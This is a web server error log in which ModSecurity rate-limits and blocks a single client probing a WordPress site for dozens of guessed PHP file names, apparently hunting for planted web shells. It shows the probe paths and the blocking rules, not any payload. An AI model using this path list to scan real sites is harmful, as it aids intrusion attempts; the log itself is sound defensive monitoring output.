[Fri Dec 26 01:35:06.999855 2025] [:error] [pid 24862:tid 24876] [client 4.194.153.244:2953] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aU11yrt-eeEEuo-2JKg1TwAAAAo"]
[Fri Dec 26 01:35:07.442781 2025] [:error] [pid 24864:tid 24941] [client 4.194.153.244:20699] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atx.php"] [unique_id "aU11y8u59XOK5DpQQdCemwAAAVU"]
[Fri Dec 26 01:35:07.790906 2025] [:error] [pid 24946:tid 24951] [client 4.194.153.244:3009] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aU11y1fyLYxv3Jn9S71OkwAAAEM"]
[Fri Dec 26 01:35:08.288698 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:3028] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aU11zFfyLYxv3Jn9S71OlQAAAEk"]
[Fri Dec 26 01:35:08.709184 2025] [:error] [pid 24946:tid 24949] [client 4.194.153.244:20616] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aU11zFfyLYxv3Jn9S71OlgAAAEE"]
[Fri Dec 26 01:35:09.094447 2025] [:error] [pid 24946:tid 24955] [client 4.194.153.244:20673] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/z60.php"] [unique_id "aU11zVfyLYxv3Jn9S71OlwAAAEc"]
[Fri Dec 26 01:35:09.384899 2025] [:error] [pid 24946:tid 24954] [client 4.194.153.244:20667] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aU11zVfyLYxv3Jn9S71OmQAAAEY"]
[Fri Dec 26 01:35:09.727132 2025] [:error] [pid 24946:tid 24960] [client 4.194.153.244:20733] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aU11zVfyLYxv3Jn9S71OmwAAAEw"]
[Fri Dec 26 01:35:09.993124 2025] [:error] [pid 24946:tid 24963] [client 4.194.153.244:20611] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aU11zVfyLYxv3Jn9S71OnwAAAE8"]
[Fri Dec 26 01:35:10.317005 2025] [:error] [pid 24946:tid 24966] [client 4.194.153.244:20669] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aU11zlfyLYxv3Jn9S71OogAAAFI"]
[Fri Dec 26 01:35:10.719001 2025] [:error] [pid 24946:tid 24968] [client 4.194.153.244:20684] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aU11zlfyLYxv3Jn9S71OpAAAAFQ"]
[Fri Dec 26 01:35:11.249902 2025] [:error] [pid 24946:tid 24970] [client 4.194.153.244:20633] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aU11z1fyLYxv3Jn9S71OpQAAAFY"]
[Fri Dec 26 01:35:11.530695 2025] [:error] [pid 24862:tid 24880] [client 4.194.153.244:20621] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aU11z7t-eeEEuo-2JKg1VQAAAA4"]
[Fri Dec 26 01:35:11.864907 2025] [:error] [pid 24862:tid 24874] [client 4.194.153.244:3020] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aU11z7t-eeEEuo-2JKg1WQAAAAg"]
[Fri Dec 26 01:35:12.173051 2025] [:error] [pid 24862:tid 24885] [client 4.194.153.244:20632] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aU110Lt-eeEEuo-2JKg1XAAAABM"]
[Fri Dec 26 01:35:12.578166 2025] [:error] [pid 24946:tid 24956] [client 4.194.153.244:20687] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aU110FfyLYxv3Jn9S71OpwAAAEg"]
[Fri Dec 26 01:35:13.018277 2025] [:error] [pid 24863:tid 24913] [client 4.194.153.244:3049] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aU110R8SaH2KMpp43vfxzQAAANQ"]
[Fri Dec 26 01:35:13.567320 2025] [:error] [pid 24946:tid 24953] [client 4.194.153.244:3055] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aU110VfyLYxv3Jn9S71OrAAAAEU"]
[Fri Dec 26 01:35:13.922058 2025] [:error] [pid 24946:tid 24971] [client 4.194.153.244:20620] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aU110VfyLYxv3Jn9S71OsAAAAFc"]
[Fri Dec 26 01:35:14.171922 2025] [:error] [pid 24946:tid 24963] [client 4.194.153.244:20629] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aU110lfyLYxv3Jn9S71OsQAAAE8"]
[Fri Dec 26 01:35:14.450494 2025] [:error] [pid 24864:tid 24944] [client 4.194.153.244:20637] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aU110su59XOK5DpQQdCerAAAAVg"]
[Fri Dec 26 01:35:14.973827 2025] [:error] [pid 24863:tid 24898] [client 4.194.153.244:20612] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aU110h8SaH2KMpp43vfxzwAAAMU"]
[Fri Dec 26 01:35:15.246337 2025] [:error] [pid 24863:tid 24915] [client 4.194.153.244:20647] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aU110x8SaH2KMpp43vfx0AAAANY"]
[Fri Dec 26 01:35:15.487405 2025] [:error] [pid 24862:tid 24886] [client 4.194.153.244:20688] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aU1107t-eeEEuo-2JKg1YwAAABQ"]
[Fri Dec 26 01:35:15.881157 2025] [:error] [pid 24862:tid 24872] [client 4.194.153.244:2945] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aU1107t-eeEEuo-2JKg1ZAAAAAY"]
[Fri Dec 26 01:35:16.128597 2025] [:error] [pid 24946:tid 24967] [client 4.194.153.244:20682] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aU111FfyLYxv3Jn9S71OtwAAAFM"]
[Fri Dec 26 01:35:16.357501 2025] [:error] [pid 24946:tid 24950] [client 4.194.153.244:20646] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aU111FfyLYxv3Jn9S71OuAAAAEI"]
[Fri Dec 26 01:35:16.662329 2025] [:error] [pid 24946:tid 24951] [client 4.194.153.244:20724] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aU111FfyLYxv3Jn9S71OuQAAAEM"]
[Fri Dec 26 01:35:16.884413 2025] [:error] [pid 24862:tid 24873] [client 4.194.153.244:20726] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aU111Lt-eeEEuo-2JKg1aAAAAAc"]
[Fri Dec 26 01:35:17.161519 2025] [:error] [pid 24946:tid 24952] [client 4.194.153.244:3026] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aU111VfyLYxv3Jn9S71OvAAAAEQ"]
[Fri Dec 26 01:35:17.501344 2025] [:error] [pid 24862:tid 24870] [client 4.194.153.244:3060] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aU111bt-eeEEuo-2JKg1agAAAAQ"]
[Fri Dec 26 01:35:17.782243 2025] [:error] [pid 24864:tid 24937] [client 4.194.153.244:3032] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aU111cu59XOK5DpQQdCerwAAAVE"]
[Fri Dec 26 01:35:18.068445 2025] [:error] [pid 24946:tid 24953] [client 4.194.153.244:20626] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aU111lfyLYxv3Jn9S71OvwAAAEU"]
[Fri Dec 26 01:35:18.362531 2025] [:error] [pid 24862:tid 24878] [client 4.194.153.244:3014] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/install.php"] [unique_id "aU111rt-eeEEuo-2JKg1bwAAAAw"]
[Fri Dec 26 01:35:18.652693 2025] [:error] [pid 24862:tid 24885] [client 4.194.153.244:20614] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU111rt-eeEEuo-2JKg1cAAAABM"]
[Fri Dec 26 01:35:18.915825 2025] [:error] [pid 24864:tid 24929] [client 4.194.153.244:20635] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU111su59XOK5DpQQdCesAAAAUk"]
[Fri Dec 26 01:35:19.170625 2025] [:error] [pid 24946:tid 24961] [client 4.194.153.244:20649] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU1111fyLYxv3Jn9S71OxgAAAE0"]
[Fri Dec 26 01:35:19.380649 2025] [:error] [pid 24946:tid 24956] [client 4.194.153.244:20674] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lv.php"] [unique_id "aU1111fyLYxv3Jn9S71OyQAAAEg"]
[Fri Dec 26 01:35:19.601544 2025] [:error] [pid 24946:tid 24952] [client 4.194.153.244:20663] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aU1111fyLYxv3Jn9S71OzAAAAEQ"]
[Fri Dec 26 01:35:19.810228 2025] [:error] [pid 24864:tid 24920] [client 4.194.153.244:3047] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aU1118u59XOK5DpQQdCesQAAAUA"]
[Fri Dec 26 01:35:20.117535 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:20627] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aU112FfyLYxv3Jn9S71OzgAAAEk"]
[Fri Dec 26 01:35:20.457150 2025] [:error] [pid 24864:tid 24925] [client 4.194.153.244:3038] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aU112Mu59XOK5DpQQdCetAAAAUU"]
[Fri Dec 26 01:35:20.756950 2025] [:error] [pid 24862:tid 24883] [client 4.194.153.244:3044] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU112Lt-eeEEuo-2JKg1cwAAABE"]
[Fri Dec 26 01:35:21.061756 2025] [:error] [pid 24946:tid 24949] [client 4.194.153.244:20677] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU112VfyLYxv3Jn9S71O0AAAAEE"]
[Fri Dec 26 01:35:21.329068 2025] [:error] [pid 24864:tid 24936] [client 4.194.153.244:20691] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU112cu59XOK5DpQQdCetwAAAVA"]
[Fri Dec 26 01:35:21.565678 2025] [:error] [pid 24864:tid 24941] [client 4.194.153.244:3033] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aU112cu59XOK5DpQQdCeuAAAAVU"]
[Fri Dec 26 01:35:21.912951 2025] [:error] [pid 24863:tid 24904] [client 4.194.153.244:20715] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU112R8SaH2KMpp43vfx1wAAAMs"]
[Fri Dec 26 01:35:22.228091 2025] [:error] [pid 24864:tid 24933] [client 4.194.153.244:20718] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU112su59XOK5DpQQdCeugAAAU0"]
[Fri Dec 26 01:35:22.542602 2025] [:error] [pid 24864:tid 24940] [client 4.194.153.244:3027] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU112su59XOK5DpQQdCevAAAAVQ"]
[Fri Dec 26 01:35:22.891220 2025] [:error] [pid 24863:tid 24908] [client 4.194.153.244:20651] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU112h8SaH2KMpp43vfx2QAAAM8"]
[Fri Dec 26 01:35:23.227141 2025] [:error] [pid 24864:tid 24926] [client 4.194.153.244:20702] [client 4.194.153.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aU1128u59XOK5DpQQdCevQAAAUY"]
[Fri Dec 26 01:35:23.600728 2025] [:error] [pid 24946:tid 24969] [client 4.194.153.244:20650] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU1121fyLYxv3Jn9S71O2QAAAFU"]
[Fri Dec 26 01:35:23.897978 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:3059] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU1121fyLYxv3Jn9S71O2wAAAEk"]
[Fri Dec 26 01:35:24.218529 2025] [:error] [pid 24946:tid 24949] [client 4.194.153.244:3040] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU113FfyLYxv3Jn9S71O3wAAAEE"]
[Fri Dec 26 01:35:24.624787 2025] [:error] [pid 24946:tid 24953] [client 4.194.153.244:20639] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aU113FfyLYxv3Jn9S71O4QAAAEU"]
[Fri Dec 26 01:35:24.961375 2025] [:error] [pid 24946:tid 24961] [client 4.194.153.244:20631] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aU113FfyLYxv3Jn9S71O5QAAAE0"]
